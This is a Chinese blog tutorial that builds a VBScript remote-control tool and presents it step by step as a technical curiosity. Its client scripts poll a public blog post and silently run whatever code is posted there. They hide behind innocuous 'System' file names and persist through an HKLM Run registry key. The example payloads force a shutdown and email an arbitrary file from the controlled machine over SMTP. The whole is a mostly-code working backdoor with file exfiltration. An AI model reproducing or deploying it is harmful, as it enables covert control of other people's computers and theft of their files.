【技术向】vbs实现远程控制和传输文件

写在前面

vbs是基于Visual Basic的脚本语言,全称是:Microsoft Visual Basic Script Edition(微软公司可视化BASIC脚本版)。与JavaScript相似,都可以镶嵌到HTML中去运行。第一次知道vbs是因为当时网上流行着一个电脑性别测试:打开记事本输入CreateObject("SAPI.SpVoice").Speak "I love YOU" 然后保存扩展名为*.vbs的文件后再打开这个文件就会听到一句I LOVE YOU。通过声音就可以辨别你的电脑的性别是男还是女。带着强烈的好奇心我百度了一下什么是vbs,由此了解到了vbs这个脚本语言,也因此有了用vbs实现远程控制和传输文件的想法。我将从vbs基础、思路、客户端代码详解、服务端脚本选讲四个部分来讲解这个想法的具体实现过程。

一、vbs基础

vbs有很多功能如:处理文件和文件夹、直接处理Word, Excel, PowerPoint等Office文档、HTTP通信、调用系统功能(COM组件),语音说话、调用命令行并分析返回结果、分析HTML、模拟按键等。vbs也是Windows系统上的一个文件扩展名即.vbs,vbs这个文件扩展名关联到Windows脚本宿主。Windows脚本宿主位于C:\Windows\System32\wscript.exe,这个程序可以解释运行vbs文件,直接运行这个程序会有一些相关设置如图所示:

Windows脚本宿主设置

那么如何去写一个vbs脚本呢?很简单只需要记事本就足够了,打开记事本输入msgbox "test"然后保存为后辍为vbs的文件然后双击运行,不出意外的话结果如下:

vbs文件和运行结果

那么msgbox是什么呢,msgbox是一个函数,功能是弹出一个对话框,"test"则是参数,test用双引号括起来表示它是一个字符串,test将显示在对话框中。至此已经完成了一个最简单的vbs脚本,vbs的教程百度一下有很多,这里给出一些:VBScript 教程 | 菜鸟教程vbs基础教程简单VBS教程

二、思路

vbs文件实际上就是普通的文本文件即txt文件,只不过换成了vbs的扩展名用Windows脚本宿主打开运行。那么可以用vbs脚本去读取位于服务器端的一段文本,这段文本可以是HTML页面上的一段文本,也可以是服务器的某个文件中的一段文本,也可以位于服务器的数据库中,同时这段文本也是vbs代码,读取之后再保存为扩展名为vbs的文件并运行,这就实现了远程控制。我把放在客户端(客户端即被控制的电脑)的脚本称为客户端脚本,放在服务器端被读取的脚本称为服务端脚本。那么服务端脚本到底放在哪儿呢,我是放在新浪博客的博文正文当中的,因为新浪博客的博文URL地址固定,内容可以修改,用vbs脚本实现读取博文也容易实现。首先需要登陆新浪博客写一篇博文,在地址栏能看到博文的URL地址:

新浪博客的博文

然后查看此页面的源代码:

博文页面的部分源代码

可以发现博文的正文:msgbox "test"在源代码中位于一对<div>标签之间,标签外有<!-- 正文开始 -->和<!-- 正文结束 -->的注释,还有一个id属性为sina_keyword_ad_area2,客户端脚本将使用这篇博文的URL地址以及这个id属性来获取博文的正文。

三、客户端脚本详解

客户端脚本由两个文件组成SystemLoop.vbs和SystemMain.vbs。我们先来说SystemMain.vbs,它的作用是根据博文URL和id属性获取博文正文保存到本地为vbs文件并运行,其代码如下:

On Error Resume Next

BlogURL = "http://blog.sina.com.cn/s/blog_8cd0115c0102wox7.html"

SaveFile = "D:\SystemRuning.vbs"

BlogCache = ""

Set Fso  =Wscript.CreateObject("Scripting.FileSystemObject")

Set HTML = CreateObject("HtmlFile")

Set HTTP = CreateObject("Msxml2.ServerXMLHTTP")

HTTP.Open "GET", BlogURL, False

HTTP.Send

HTML.Write HTTP.ResponseText

Set BlogHTML = HTML.GetElementById("sina_keyword_ad_area2")

BlogText=BlogHTML.InnerText

If Fso.FileExists(SaveFile) Then

    Set Ffile=Fso.OpenTextFile(SaveFile,1,True)

    BlogCache=Ffile.ReadAll

    Ffile.Close

End if

If BlogText<>BlogCache Then

    Set FsoCTF = Fso.CreateTextFile(SaveFile, True)

    FsoCTF.Write(BlogText)

    FsoCTF.Close

    Set Shell = CreateObject("Wscript.Shell")

    Shell.Run SaveFile,0,ture

End If

第一行的On Error Resume Next的功能是此语句后的代码,如果产生错误也不提示,继续执行后面的语句。

第二到四行是三个字符串变量:BlogURL是博文的URL地址。SaveFile是一个vbs脚本的完整地址,这个vbs脚本保存着博文的正文。BlogCache也保存着博文的正文,读取博文正文后会与BlogCache比较,当它们不相等时即博文正文有修改时才执行后续代码,其作用是保证服务端脚本不被重复执行。

第五到七行创建了三个对象Fso、HTML和HTTP,Fso对象提供了文件操作相关的方法,HTML对象提供了解析html文档的相关方法,HTTP提供了与服务器端交互的相关方法。

接下来的两句为:HTTP.Open "GET", BlogURL, False和HTTP.Send,Open和Send是HTTP对象提供的两个方法。Open方法有三个参数,第一个参数是字符串类型表示请求的方式,这里设置为“GET”,第二个参数也是字符串类型表示目标URL地址,这里设置为BlogURL,第三个参数设置为false等待有返回数据的时候再继续往下走,还没有得到数据的时候就会卡在那里,直到获取数据为止。如果设置为true就是不等待,直接返回,这就是所谓的异步获取数据。

HTML.Write HTTP.ResponseText这一句当中,Write是HTML对象提供的方法,ResponseText是发送请求后服务器响应的html文档,这句的作用是将服务器响应的html文档写入到HTML对象中,用HTML对象来操作响应的html文档。

Set BlogHTML = HTML.GetElementById("sina_keyword_ad_area2")和BlogText=BlogHTML.InnerText这两句中,用HTML对象提供的GetElementById方法获取了id属性为"sina_keyword_ad_area2"的html元素,并赋值给创建的BlogHTML对象。这个html元素还不是博文内容,因为还有一个<div>标签没有去除,调用BlogHTML对象的InnerText属性并赋值给字符串变量BlogText,BlogText就是博文的正文了。

接下来是一个if判断语句,if条件是Fso.FileExists(SaveFile),判断SaveFile所表示的文件是否存在(如果没有这个判断的话当文件不存在时就会出错),文件存在则打开SaveFile文件读取,读取内容赋值给BlogCache变量,然后关闭文件。

接下来又是一个if判断语句,BlogText是从博文上获取的,而BlogCache则是本地SaveFile文件的内容,当它们不相等时,也就是博文发生了改动时,创建SaveFile文件,即SystemRuning.vbs文件,写入文本,关闭文件,然后创建Shell对象运行SystemRuning.vbs文件。

只用一个SystemMain.vbs文件还是不够的,因为只能运行一次,我们希望脚本能够在后台一直运行下去,这就需要另一个文件SystemLoop.vbs文件,其内容如下:

On Error Resume Next

Set Fso=Wscript.CreateObject("Scripting.FileSystemObject")

MainFile="D:\SystemMain.vbs"

Do

Wscript.Sleep 10000

Dim wmi

Set wmi=GetObject("winmgmts://./root/cimv2")

Set xxx=wmi.ExecQuery("Select * From Win32_PingStatus Where Address='www.baidu.com'")

For Each u In xxx

        If u.statuscode = 0 Then

              If Fso.FileExists(MainFile)=True Then

                  Set Shell=CreateObject("Wscript.Shell")

                  Shell.run MainFile,0,Ture

              End If

        End If

Next

Loop

Do

Wscript.Sleep 10000

……

Loop

这部分的代码块表示每10秒钟执行一次


Dim wmi

Set wmi=GetObject("winmgmts://./root/cimv2")

Set xxx=wmi.ExecQuery("Select * From Win32_PingStatus Where Address='www.baidu.com'")

For Each u In xxx

    If u.statuscode = 0 Then

'联网则执行这部分代码块

    End If

Next

这部分代码块用于判断是否联网,如果缺少这个判断在断网的情况下会出错


Set Shell=CreateObject("Wscript.Shell")

Shell.run MainFile,0,Ture

只有联网的时候才允许运行SystemMain.vbs文件


除了SystemLoop.vbs和SystemMain.vbs以外还有两个文件为Setup.vbs和Uninstall.vbs,作用是修改注册表使其开机启动以及安装和卸载,这两个文件的功能也可以手动去完成,下面是它们的代码:

On Error Resume Next

FileRuningPath = CreateObject("Scripting.FileSystemObject").GetFile(Wscript.ScriptFullName).ParentFolder.Path

MainFile="SystemMain.vbs"LoopFile="SystemLoop.vbs"

TargetFilePath="D:\"

Set Fso=Wscript.CreateObject("Scripting.FilesystemObject")

Fso.CopyFile FileRuningPath&"\"&Mainfile,TargetFilePath,ture

Fso.CopyFile FileRuningPath&"\"&Loopfile,TargetFilePath,ture

Set oShell=CreateObject("Wscript.Shell")

oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SystemWorkstation",TargetFilePath&LoopFile

oShell.Run TargetFilePath&LoopFile,0,ture

Msgbox("Setup,OK!")
On Error Resume Next

MainFile="SystemMain.vbs"

LoopFile="SystemLoop.vbs"

ScratchFile="SystemRuning.vbs"

TargetFilePath="D:\"

Set Fso = CreateObject("Scripting.FileSystemObject")

If Fso.FileExists(TargetFilePath&MainFile) Then

      Fso.DeleteFile(TargetFilePath&MainFile)

End If

If Fso.FileExists(TargetFilePath&LoopFile) Then

      Fso.DeleteFile(TargetFilePath&LoopFile)

End If

If Fso.FileExists(TargetFilePath&ScratchFile) Then

      Fso.DeleteFile(TargetFilePath&ScratchFile)

End If

Set Ws=createobject("wscript.shell")

Ws.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SystemWorkstation"

Msgbox("Uninstall,OK!")

Setup.vbs的功能是将SystemMain.vbs,SystemLoop.vbs两个文件复制到D盘(也可以修改TargetFilePath字符串改为其他的路径,这里注意一下目标位置不能有这两个文件,如果有应当先删除再运行Setup.vbs文件),然后添加注册表使SystemLoop.vbs文件能够开机启动,最后运行SystemLoop.vbs文件。修改注册表开机启动也可以手动完成,方法如下:按Win+R打开运行,输入regedit打开注册表,找到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”打开后,点右键点“新建字符串值”,新值上点右键点“重命名”,自己可以任意命名,然后双击打开对话框,在“数值数据”栏输入SystemLoop.vbs文件所在的完整路径和文件名,点击确定就搞定了,如图所示:

修改注册表开机启动

Uninstall.vbs的功能则是删除SystemMain.vbs和SystemLoop.vbs,并删除相关的注册表项。

四、服务端脚本选讲

客户端脚本已经可以实现读取服务端脚本并运行,想要实现什么样的功能比如想要让客户端关机,那么服务器端脚本可以这么写:

dim WSHshell

set ws=wscript.createobject("wscript.shell")

ws.run "shutdown -s -t 0"

这样就可以实现自动关机,其中0可以修改,表示倒计时的时间。想要实现别的功能很容易百度到,这里只再讲下如何实现用电子邮箱传送文件,代码如下(代码中有六处需要读者去填入):

Ffile="1、邮箱附件(位于客户端)的完整地址"

Set Fso=WScript.CreateObject("Scripting.FileSystemObject")

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"

Set Email = CreateObject("CDO.Message")

Email.From = "2、发送邮箱"

Email.To = "3、接受邮箱"

If Fso.FileExists(Ffile) Then

        Email.Subject = "文件存在见附件"

        Email.Htmlbody = date&"  "&time&"  "&"文件路径为:"&Ffile

        Email.AddAttachment Ffile

Else

        Email.Subject = "文件不存在"

        Email.Htmlbody = date&"  "&time&"  "&"文件路径为:"&Ffile

End If

With Email.Configuration.Fields

.Item(NameSpace&"sendusing") = 2

.Item(NameSpace&"smtpserver") = "4、smtp服务器地址"

.Item(NameSpace&"smtpserverport") = 25

.Item(NameSpace&"smtpauthenticate") = 1

.Item(NameSpace&"sendusername") = "5、 发送邮箱 "

.Item(NameSpace&"sendpassword") = "6、发送邮箱密码"

.update

End With

Email.Send

这段vbs脚本是用smtp协议发送邮件,首先需要到发送邮件的邮箱设置中去开启smtp协议,然后需要替换掉上面脚本的1、邮箱附件的完整地址,2、发送邮箱,3、接受邮箱,4、smtp服务器地址,5、发送邮箱和6、发送邮箱密码即可。发送邮箱建议使用网易163邮箱,其smtp服务器地址为:smtp.163.com。

  • 2
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值